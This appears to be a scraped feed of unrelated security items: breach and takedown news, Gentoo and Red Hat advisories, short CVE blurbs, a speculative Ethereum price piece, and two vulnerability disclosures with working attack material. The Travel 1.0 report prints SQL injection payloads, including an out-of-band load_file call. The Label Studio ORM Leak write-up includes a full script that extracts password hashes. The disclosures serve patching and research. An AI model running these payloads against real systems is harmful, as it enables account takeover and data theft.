Cross Site Scripting (XSS) in abs.php in Code-Projects Blood Bank 1.0 allows attackers to run arbitrary code via the 'search' parameter in the application URL.

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

CVE-2023-46016: GitHub - ersinerenler/CVE-2023-46016-Code-Projects-Blood-Bank-1.0-Reflected-Cross-Site-Scripting-Vulnerability

The US State of Maine says it has suffered a data breach impacting around 1.3 million people—more or less the the entire population of Maine.

The US State of Maine says it has suffered a data breach impacting around 1.3 million people. According to the census from July 2022, that’s more or less the the entire population of Maine.

The State of Maine says it was compromised via a known vulnerability in secure transfer service MOVEit Transfer. This vulnerability is known to be used by the Cl0p ransomware gang.

The type of stolen data varies from person to person, likely because the data breach affected multiple agencies in the State. More than 50% of the data exposed in the breach came from Maine’s Department of Health and Human Services, while between 10 and 30% came from the state’s Department of Education. The breach also impacted several other departments.

For what we can gather, the cybercriminals may have obtained names, Social Security numbers (SSN), dates of birth, driver’s licenses, state identification numbers, and taxpayer identification numbers. The stolen data may involve certain types of medical information and health insurance for some individuals.

Progress Software, who make MOVEit Transfer, issued a patch for the exploited vulnerability on May 31, 2023. However, the State of Maine says the cybercriminals gained access and started downloading files between May 28 and 29, 2023, before the patch was available.

****Data breach****

The State of Maine is encouraging people to contact Maine’s dedicated call center to find out if their data was involved or if they have questions about this incident. The phone number is (877) 618-3659, with representatives available from Monday to Friday, 9 AM to 9 PM ET.

If your Social Security Number or taxpayer identification number is involved, the call center will provide you with a complimentary credit monitoring code which give you two years of credit monitoring and identity theft protection services.

If you suspect your data has been stolen, it’s worth watching out for people posing as the State of Maine. There’s nothing like a data breach to bring out the scammers, and they will be looking to target people affected by the breach. If someone does contact you, make sure to verifying they are who they say they are using another communication channel. Watch out for phishing emails, too.

**We don’t just report on threats – we help safeguard your entire digital identity**

Cybersecurity risks should never spread beyond a headline. Protect your and your family’s personal information by using Malwarebytes Identity Theft Protection.

 State of Maine data breach impacts 1.3 million people 

Travel version 1.0 suffers from a remote SQL injection vulnerability.

    ## Title: travel-1.0-by-oretnom23 Multiple-SQLi## Author: nu11secur1ty## Date: 11/12/2023## Vendor: https://github.com/oretnom23## Software: https://github.com/oretnom23/php-travel-agency-system## Reference: https://portswigger.net/web-security/sql-injection## Description:The search parameter appears to be vulnerable to SQL injectionattacks. The payload '+(selectload_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+'was submitted in the search parameter. This payload injects a SQLsub-query that calls MySQL's load_file function with a UNC file paththat references a URL on an external domain. The applicationinteracted with that domain, indicating that the injected SQL querywas executed.STATUS: HIGH-CRITICAL Vulnerability[+]Payload:```MySQL---Parameter: search (POST)    Type: boolean-based blind    Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BYor GROUP BY clause    Payload: search=951531'+(selectload_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''RLIKE (SELECT (CASE WHEN (2997=2997) THEN 0x393531353331+(selectload_file(0x5c5c5c5c666e366b70706278306f323664696173673374627373313938306574326b363878626c33387477692e6f6173746966792e636f6d5c5c79686a))+''ELSE 0x28 END)) AND 'RIBa'='RIBa&searc=&sumbit=Submit    Type: time-based blind    Title: MySQL >= 5.0.12 OR time-based blind (query SLEEP)    Payload: search=951531'+(selectload_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''OR (SELECT 5424 FROM (SELECT(SLEEP(15)))vzOn) AND'fGlq'='fGlq&searc=&sumbit=Submit    Type: UNION query    Title: MySQL UNION query (NULL) - 28 columns    Payload: search=951531'+(selectload_file('\\\\fn6kppbx0o26diasg3tbss1980et2k68xbl38twi.github.com/oretnom23/php-travel-agency-system\\yhj'))+''UNION ALL SELECTNULL,NULL,NULL,NULL,CONCAT(0x716a767071,0x6c425375664275724e58584e686366544b776557504941584e71765144757876744972504e4f554d,0x7162767071),NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL#&searc=&sumbit=Submit---```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/oretnom23/2021/travel-1.0-by-oretnom23)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/11/travel-10-by-oretnom23-multiple-sqli.html)## Time spent:00:17:00

Travel 1.0 SQL Injection

Gentoo Linux Security Advisory 202311-1 - A vulnerability has been discovered in GitPython where crafted input to Repo.clone_from can lead to code execution. Versions greater than or equal to 3.1.30 are affected.

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Gentoo Linux Security Advisory                           GLSA 202311-01  
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                                           https://security.gentoo.org/  
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 Severity: High  
    Title: GitPython: Code Execution via Crafted Input  
     Date: November 01, 2023  
     Bugs: #884623  
       ID: 202311-01

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Synopsis  
========

A vulnerability has been discovered in GitPython where crafted input to  
Repo.clone_from can lead to code execution

Background  
==========

GitPython is a Python library used to interact with Git repositories.

Affected packages  
=================

Package               Vulnerable    Unaffected  
--------------------  ------------  ------------  
dev-python/GitPython  < 3.1.30      >= 3.1.30

Description  
===========

Please review the CVE identifier referenced below for details.

Impact  
======

An attacker may be able to trigger Remote Code Execution (RCE) due to  
improper user input validation, which makes it possible to inject a  
maliciously crafted remote URL into the clone command. Exploiting this  
vulnerability is possible because the library makes external calls to  
git without sufficient sanitization of input arguments.

Workaround  
==========

There is no known workaround at this time.

Resolution  
==========

All GitPython users should upgrade to the latest version:

  # emerge --sync  
  # emerge --ask --oneshot --verbose ">=dev-python/GitPython-3.1.30"

References  
==========

[ 1 ] CVE-2022-24439  
      https://nvd.nist.gov/vuln/detail/CVE-2022-24439

Availability  
============

This GLSA and any updates to it are available for viewing at  
the Gentoo Security Website:

 https://security.gentoo.org/glsa/202311-01

Concerns?  
=========

Security is a primary focus of Gentoo Linux and ensuring the  
confidentiality and security of our users' machines is of utmost  
importance to us. Any security concerns should be addressed to  
security@gentoo.org or alternatively, you may file a bug at  
https://bugs.gentoo.org.

License  
=======

Copyright 2023 Gentoo Foundation, Inc; referenced text  
belongs to its owner(s).

The contents of this document are licensed under the  
Creative Commons - Attribution / Share Alike license.

https://creativecommons.org/licenses/by-sa/2.5

Gentoo Linux Security Advisory 202311-01

Label Studio is an open source data labeling tool. In all current versions of Label Studio prior to 1.9.2post0, the application allows users to insecurely set filters for filtering tasks. An attacker can construct a filter chain to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes. This vulnerability has been addressed in commit `f931d9d129` which is included in the 1.9.2post0 release. Users are advised to upgrade. There are no known workarounds for this vulnerability.

**Introduction**

This write-up describes a vulnerability found in Label Studio, a popular open source data labeling tool. The vulnerability affects all versions of Label Studio prior to 1.9.2post0 and was tested on version 1.8.2.

**Overview**

In all current versions of Label Studio, the application allows users to insecurely set filters for filtering tasks. An attacker can construct a _filter chain_ to filter tasks based on sensitive fields for all user accounts on the platform by exploiting Django's Object Relational Mapper (ORM). Since the results of query can be manipulated by the ORM filter, an attacker can leak these sensitive fields character by character. For an example, the following filter chain will task results by the password hash of an account on Label Studio.

    filter:tasks:updated_by__active_organization__active_users__password
    

For consistency, this type of vulnerability will be termed as **ORM Leak** in the rest of this disclosure.

In addition, Label Studio had a hard coded secret key that an attacker can use to forge a session token of any user by exploiting this ORM Leak vulnerability to leak account password hashes.

**Description**

The following code snippet from the ViewSetSerializer in label_studio/data_manager/serializers.py insecurely creates Filter objects from a JSON POST request to the /api/dm/views/{viewId} API endpoint.

    @staticmethod
    def \_create\_filters(filter\_group, filters\_data):
        filter\_index \= 0
        for filter\_data in filters\_data:
            filter\_data\["index"\] \= filter\_index
            filter\_group.filters.add(Filter.objects.create(\*\*filter\_data))
            filter\_index += 1

These Filter objects are then applied in the TaskQuerySet in label_studio/data_manager/managers.py.

class TaskQuerySet(models.QuerySet):
    def prepared(self, prepare\_params\=None):
        """ Apply filters, ordering and selected items to queryset
        :param prepare\_params: prepare params with project, filters, orderings, etc
        :return: ordered and filtered queryset
        """
        from projects.models import Project

        queryset \= self

        if prepare\_params is None:
            return queryset

        project \= Project.objects.get(pk\=prepare\_params.project)
        request \= prepare\_params.request
        queryset \= apply\_filters(queryset, prepare\_params.filters, project, request) <1\>
        queryset \= apply\_ordering(queryset, prepare\_params.ordering, project, request, view\_data\=prepare\_params.data)

        if not prepare\_params.selectedItems:
            return queryset

        \# included selected items
        if prepare\_params.selectedItems.all is False and prepare\_params.selectedItems.included:
            queryset \= queryset.filter(id\_\_in\=prepare\_params.selectedItems.included)

        \# excluded selected items
        elif prepare\_params.selectedItems.all is True and prepare\_params.selectedItems.excluded:
            queryset \= queryset.exclude(id\_\_in\=prepare\_params.selectedItems.excluded)

        return queryset

1.  User provided filters are insecurely applied here by calling the apply_filters that constructs the Django ORM filter.

The PreparedTaskManager in label_studio/data_manager/managers.py uses the vulnerable TaskQuerySet for building the Django queryset for querying Task objects, as shown in the following code snippet.

class PreparedTaskManager(models.Manager):
    #...

    def get\_queryset(self, fields\_for\_evaluation\=None, prepare\_params\=None, all\_fields\=False): <1\>
        """
        :param fields\_for\_evaluation: list of annotated fields in task
        :param prepare\_params: filters, ordering, selected items
        :param all\_fields: evaluate all fields for task
        :param request: request for user extraction
        :return: task queryset with annotated fields
        """
        queryset \= self.only\_filtered(prepare\_params\=prepare\_params)
        return self.annotate\_queryset(
            queryset,
            fields\_for\_evaluation\=fields\_for\_evaluation,
            all\_fields\=all\_fields,
            request\=prepare\_params.request
        )

    def only\_filtered(self, prepare\_params\=None):
        request \= prepare\_params.request
        queryset \= TaskQuerySet(self.model).filter(project\=prepare\_params.project) <1\>
        fields\_for\_filter\_ordering \= get\_fields\_for\_filter\_ordering(prepare\_params)
        queryset \= self.annotate\_queryset(queryset, fields\_for\_evaluation\=fields\_for\_filter\_ordering, request\=request)
        return queryset.prepared(prepare\_params\=prepare\_params)

1.  Special Django method for the models.Manager class that is used to retrieve the queryset for querying objects of a model.
2.  Uses the vulnerable TaskQuerySet that was explained above.

The following code snippet of the Task model in label_studio/tasks/models.py shows that the vulnerable PreparedTaskManager is set as a class variable, along with the updated_by relational mapping to a Django user that will be exploited as the entrypoint of the filter chain.

\# ...
class Task(TaskMixin, models.Model):
    """ Business tasks from project
    """
    id \= models.AutoField(auto\_created\=True, primary\_key\=True, serialize\=False, verbose\_name\='ID', db\_index\=True)

    \# ...

    updated\_by \= models.ForeignKey(settings.AUTH\_USER\_MODEL, related\_name\='updated\_tasks',
        on\_delete\=models.SET\_NULL, null\=True, verbose\_name\=\_('updated by'),
        help\_text\='Last annotator or reviewer who updated this task') <1\>

    \# ...

    objects \= TaskManager()  \# task manager by default
    prepared \= PreparedTaskManager()  \# task manager with filters, ordering, etc for data\_manager app <2>

    \# ...

1.  The entry point of the filter chain to filter by the updated_by__active_organization__active_users__password.
2.  The vulnerable PreparedTaskManager being set that will be exploited.

Finally, the TaskListAPI view set in label_studio/tasks/api.py with the /api/tasks API endpoint uses the vulnerable PreparedTaskManager to filter Task objects.

    def get\_queryset(self):
        task\_id \= self.request.parser\_context\['kwargs'\].get('pk')
        task \= generics.get\_object\_or\_404(Task, pk\=task\_id)
        review \= bool\_from\_request(self.request.GET, 'review', False)
        selected \= {"all": False, "included": \[self.kwargs.get("pk")\]}
        if review:
            kwargs \= {
                'fields\_for\_evaluation': \['annotators', 'reviewed'\]
            }
        else:
            kwargs \= {'all\_fields': True}
        project \= self.request.query\_params.get('project') or self.request.data.get('project')
        if not project:
            project \= task.project.id
        return self.prefetch(
            Task.prepared.get\_queryset(
                prepare\_params\=PrepareParams(project\=project, selectedItems\=selected, request\=self.request),
                \*\*kwargs
            )) <1\>

1.  Uses the vulnerable PreparedTaskManager to filter objects.

**Proof of Concept**

Below are the steps to exploit about how to exploit this vulnerability to leak the password hash of an account on Label Studio.

1.  Create two accounts on Label Studio and choose one account to be the victim and the other the hacker account that you will use.
2.  Create a new project or use an existing project, then add a task to the project. Update the task with the hacker account to cause the entry point of the filter chain.
3.  Navigate to the task view for the project and add any filter with the Network inspect tab open on the browser. Look for a PATCH request to /api/dm/views/{view_id}?interaction=filter&project={project_id} and save the view_id and project_id for the next step.
4.  Download the attached proof of concept exploit script named labelstudio_ormleak.py. This script will leak the password hash of the victim account character by character. Run the following command to run the exploit script, replacing the {view_id}, {project_id}, {cookie_str} and {url} with the corresponding values. For further explanation run python3 labelstudio_ormleak.py --help.

python3 labelstudio\_ormleak.py -v {view\_id} -p {project\_id} -c '{cookie\_str}' -u '{url}'

The following example GIF demonstrates exploiting this ORM Leak vulnerability to retrieve the password hash pbkdf2_sha256$260000$KKeew1othBwMKk2QudmEgb$ALiopdBpWMwMDD628xeE1Ie7YSsKxdXdvWfo/PvVXvw=.

**Impact**

This vulnerability can be exploited to completely compromise the confidentiality of highly sensitive account information, such as account password hashes. For all versions <=1.8.1, this finding can also be chained with hard coded SECRET_KEY to forge session tokens of any user on Label Studio and could be abuse to deteriorate the integrity and availability.

**Remediation Advice**

*   Do not use unsanitised values for constructing a filter for querying objects using Django's ORM. Django's ORM allows querying by relation field and performs auto lookups, that enable filtering by sensitive fields.
*   Validate filter values to an allow list before performing any queries.

**Discovered**

*   August 2023, Alex Brown, elttam

**labelstudio_ormleak.py proof of concept**

import argparse
import re
import requests
import string
import sys

\# Password hash characters
CHARS \= string.ascii\_letters + string.digits + '$/+=\_!'
CHARS\_LEN \= len(CHARS)

PAYLOAD \= {
    "data": {
        "columnsDisplayType": {},
        "columnsWidth": {},
        "filters": {
            "conjunction": "and",
            "items": \[
                {
                    "filter": "filter:tasks:updated\_by\_\_active\_organization\_\_active\_users\_\_password", \# ORM Leak filter chain
                    "operator": "regex", \# Use regex operator to filter password hash value
                    "type": "String",
                    "value": "REPLACEME"
                }
            \]
        },
        "gridWidth": 4,
        "hiddenColumns":{"explore":\["tasks:inner\_id"\],"labeling":\["tasks:id","tasks:inner\_id"\]},
        "ordering": \[\],
        "search\_text": None,
        "target": "tasks",
        "title": "Default",
        "type": "list"
    },
    "id": 1, \# View ID
    "project": "1" \# Project ID
}

def parse\_args() \-> argparse.Namespace:
    parser \= argparse.ArgumentParser(
        description\='Leak an accounts password hash by exploiting a ORM Leak vulnerability in Label Studio'
    )

    parser.add\_argument(
        '-v', '--view-id',
        help\='View id of the page',
        type\=int,
        required\=True
    )

    parser.add\_argument(
        '-p', '--project-id',
        help\='Project id to filter tasks for',
        type\=int,
        required\=True
    )

    parser.add\_argument(
        '-c', '--cookie-str',
        help\='Cookie string for authentication',
        required\=True
    )

    parser.add\_argument(
        '-u', '--url',
        help\='Base URL to Label Studio instance',
        required\=True
    )

    return parser.parse\_args()

def setup() \-> dict:
    args \= parse\_args()
    view\_id \= args.view\_id
    project\_id \= args.project\_id
    path\_1 \= "/api/dm/views/{view\_id}?interaction=filter&project={project\_id}".format(
        view\_id\=view\_id,
        project\_id\=project\_id
    )
    path\_2 \= "/api/tasks?page=1&page\_size=1&view={view\_id}&interaction=filter&project={project\_id}".format(
        view\_id\=view\_id,
        project\_id\=project\_id
    )
    PAYLOAD\["id"\] \= view\_id
    PAYLOAD\["project"\] \= str(project\_id)
    
    config\_dict \= {
        'COOKIE\_STR': args.cookie\_str,
        'URL\_PATH\_1': args.url + path\_1,
        'URL\_PATH\_2': args.url + path\_2,
        'PAYLOAD': PAYLOAD
    }
    return config\_dict

def test\_payload(config\_dict: dict, payload) \-> bool:
    sys.stdout.flush()
    cookie\_str \= config\_dict\["COOKIE\_STR"\]
    r\_set \= requests.patch(
        config\_dict\["URL\_PATH\_1"\],
        json\=payload,
        headers\={
            "Cookie": cookie\_str
        }
    )

    r\_listen \= requests.get(
        config\_dict\['URL\_PATH\_2'\],
        headers\={
            "Cookie": cookie\_str
        }
    )

    r\_json \= r\_listen.json()
    return len(r\_json\["tasks"\]) \>= 1

def test\_char(config\_dict, known\_hash, c):
    json\_payload\_suffix \= PAYLOAD
    test\_escaped \= re.escape(known\_hash + c)
    json\_payload\_suffix\["data"\]\["filters"\]\["items"\]\[0\]\["value"\] \=  f"^{test\_escaped}"

    suffix\_result \= test\_payload(config\_dict, json\_payload\_suffix)
    if suffix\_result:
        return (known\_hash + c, c)
    
    return None

def main():
    config\_dict \= setup()
    \# By default Label Studio password hashes start with these characters
    known\_hash \= "pbkdf2\_sha256$260000$"
    print()
    print(f"dumped: {known\_hash}", end\="")
    sys.stdout.flush()

    while True:
        found \= False

        for c in CHARS:
            r \= test\_char(config\_dict, known\_hash, c)
            if not r is None:
                new\_hash, c \= r
                known\_hash \= new\_hash
                print(c, end\="")
                sys.stdout.flush()
                found \= True
                break

        if not found:
            break

    print()

if \_\_name\_\_ \== "\_\_main\_\_":
    main()

CVE-2023-47117: Object Relational Mapper Leak Vulnerability in Filtering Task

By Deeba Ahmed
The global operation also led to the arrest of eight individuals, including the alleged mastermind.
This is a post from HackRead.com Read the original post: Police Dismantle Phishing-as-a-Service Platform BulletProftLink

BulletProftLink, a prolific phishing-as-a-service (PhaaS) and initial access broker (IAB) operation was operating since 2015.

In a significant blow to the cybercrime community, Malaysian police have dismantled BulletProftLink, a prolific phishing-as-a-service (PhaaS) and initial access broker (IAB) operation.

The seizure was a result of a collaborative effort between the Royal Malaysian Police, the Australian Federal Police, and the FBI. The authorities arrested eight individuals on 6 November, 2023 including the platform’s alleged mastermind and a software engineer.

Additionally, security agencies also seized cryptocurrency wallets containing approx. $213,000, apart from jewellery, servers, payment cards, and computers.

BulletProftLink, a prolific **phishing-as-a-service** (PhaaS) and initial access broker (IAB) operation was operating since 2015. It served thousands of threat actors with tools and resources to conduct phishing attacks through its extensive collection of phishing templates (over 300), including login pages for prominent services like DHL, Microsoft Office, Naver, and financial institutions.

Some of these pages were hosted on legit cloud services such as Google Cloud and Microsoft Azure. It also aided attackers in **bypassing MFA** (multi-factor authentication) protections by offering the **Evilginx2** reverse-proxying tool that could lead to Adversary-in-the-Middle phishing attacks.

**According to** Malaysian police, the platform had become intensely active since 2018, and that’s when it came to their radar. Since its inception, BulletProftLink has attracted over 8000 clients, many of whom paid up to $2,000/month for accessing credential logs regularly. Malicious actors preferred it for buying stolen accounts to conduct frauds and cyberattacks.

“From our investigations, not only the syndicate has compromised websites those of financial and education institutions, and official government sites in Australia, but they are also involved with the selling of stolen credentials,” stated Royal Malaysian Police’s inspector general, Sri Razarudin Husain.

This platform remained a key source for cybercriminals to infiltrate corporate networks, conduct reconnaissance, and laterally move towards valuable targets. Intel471, a threat intelligence platform, was monitoring the platform’s activities, and the following screenshot has been captured from their **coverage** of the event.

The screenshot reveals phishing templates for various platforms that were previously accessible on the BulletProofLink website.

The authorities haven’t yet disclosed the identities of the **arrested individuals**. As per cyber threat intelligence professionals, a threat actor, AnthraxBP, could be linked to the platform, and certain operational mistakes from BulletProftLink could have led to its dismantling.

The authorities have taken down multiple domains of the platform. Its closure is certainly a huge victory against cybercriminals because BulletProftink had remained a crucial source of stolen credentials for threat actors. Now that it is out of the picture, cybercriminals will need to look for alternative sources to gain initial access to corporate networks.

1.  **NetWire Malware Site and Server Seized, Admin Arrested**
2.  **Ragnar Locker Ransomware Gang Dismantled, Key Suspect Arrested**
3.  **SSNDOB Cybercrime Marketplace Seized in Intl. Coordinated Operation**
4.  **INTERPOL Dismantles Infamous ’16shop’ Phishing-as-a-Service Platform**
5.  **EvilProxy Phishing Kit Targets Microsoft Users via Indeed.com Vulnerability**

Police Dismantle Phishing-as-a-Service Platform BulletProftLink

By Owais Sultan
For the current period, it is estimated that the value of Ethereum digital currency will continue to fall.…
This is a post from HackRead.com Read the original post: ETH Exchange Rate Expectations for 2023-2025

For the current period, it is estimated that the value of **Ethereum** digital currency will continue to fall. But on the other hand, it is assumed that with the new year 2024, the situation will improve. And thanks to a large army of fans, Ethereum will be able to return to its former heights. Of course, price fluctuations are not easy to predict, but due to Changelly\`s forecast, the ETH’s utmost value will amount to $2,335.25. As per DigitalCoin\`s data analysis, the ETH price may exceed the level of $2,543.28. 

This provides the conclusion that the long-term forecast for the ETH rate will only increase. Optimistically, the average cost is expected to reach $3,018.69 in 2024 as per Changelly’s forecast, while DigitalCoin believes in the mark of $4,131.74.

As for 2025, Ethereum is waiting to get to the all-time high it has reached before. CoinPedia estimates that the ETH coin price could create a new record level of $4,925. Following PricePrediction\`s predicts that in 2025 the second coin by capitalization may approach $5,124.95, in 2026 its maximal rate is expected to be around $7,573, and if everything goes well, the topmost mark may well exceed the bar of $11,000.  But we should not forget about the fickleness of the **cryptocurrency market**, where the state of affairs can turn upside down in an instant.

****Is it worth investing in ETH?****

The predominantly increased demand for the coin was once contributed by the widespread use of smart contracts. Many market participants agree with the opinion that in the future contracts of this type will be widely applied as an intermediary for transactions in the **blockchain**.

To date, Ethereum has been the choice of many investors. Since its volatility is higher than that of BTC. It means that you can get more profit from the difference in exchange rates. It is especially advised for beginner investors to purchase Ethereum. After all, the coin can also work as an intermediate asset as it is easy to exchange it for another cryptocurrency.

To get the opportunity to regularly earn on changes in the exchange rate of ETH, a trader just needs to register on one of the popular exchanges and replenish the account there or make an automatic conversion e.g. **HNT to ETH** on Godex, not forgetting the key rule to invest only those amounts that can afford to lose.

****What influences the change in the Ethereum exchange rate?****

In the case of this coin, you can not overlook such factors as:

*   The introduction of certain technologies;
*   Domestic economy;
*   International politics;
*   The situation with BTC;
*   Speculation;
*   Degree of security;
*   Mass media.

Since the very appearance of Ethereum on the market, a large number of traders have shown a keen interest in this coin. And many people today apply the coin in various financial transactions. The listed behavioural points have a significant impact on cryptocurrency. Price correction in this case can occur in both directions. 

The fluctuations in the rate of this virtual currency are also seriously influenced by the **development of blockchain**. As for intra-economic factors, they include the activity of using digital money, the complexity of mining, the parameters of financial transactions, and the number of commission charges.

Additionally, the price is influenced by the ability of creators to identify and eliminate weak points in time. Thus, in 2016, the **Ethereum network was hacked.** However, the developers did work on the mistakes. Since then, it has become more reliable and the loyalty of traders around the world has grown.

If we talk about countries, each state treats the fact of the existence of digital currency and its use differently. Some countries encourage its circulation as a full-fledged means, others have banned it, and the third are still unable to make a choice. News from the world of cryptocurrencies is also essential.

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ETH Exchange Rate Expectations for 2023-2025

Red Hat Security Advisory 2023-6243-01 - An update for openshift-gitops-kam is now available for Red Hat OpenShift GitOps 1.10.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6243.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: openshift-gitops-kam security updateAdvisory ID:        RHSA-2023:6243-01Product:            Red Hat OpenShift GitOpsAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:6243Issue date:         2023-11-01Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update for openshift-gitops-kam is now available for Red Hat OpenShift GitOps 1.10.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:TODO: add package descriptionSecurity Fix(es):* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#important

Red Hat Security Advisory 2023-6243-01

Red Hat Security Advisory 2023-6220-01 - An update is now available for Red Hat OpenShift GitOps 1.10.

    The following data is constructed from data provided by Red Hat's json file at:https://access.redhat.com/security/data/csaf/v2/advisories/2023/rhsa-2023_6220.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Important: Errata Advisory for Red Hat OpenShift GitOps v1.10.1 security updateAdvisory ID:        RHSA-2023:6220-01Product:            Red Hat OpenShift GitOpsAdvisory URL:       https://access.redhat.com/errata/RHSA-2023:6220Issue date:         2023-10-31Revision:           01CVE Names:          CVE-2023-39325====================================================================Summary: An update is now available for Red Hat OpenShift GitOps 1.10.Red Hat Product Security has rated this update as having a security impact of Important. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Red Hat OpenShift GitOps 1.10.Security Fix(es):* golang: net/http, x/net/http2: rapid stream resets can cause excessive work (CVE-2023-44487) (CVE-2023-39325)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2023-39325References:https://access.redhat.com/security/updates/classification/#importanthttps://docs.openshift.com/gitops/latest/understanding_openshift_gitops/about-redhat-openshift-gitops.html

Red Hat Security Advisory 2023-6220-01

An issue was discovered in dreamer_cms 4.1.3. There is a CSRF vulnerability that can delete a theme project via /admin/category/delete.

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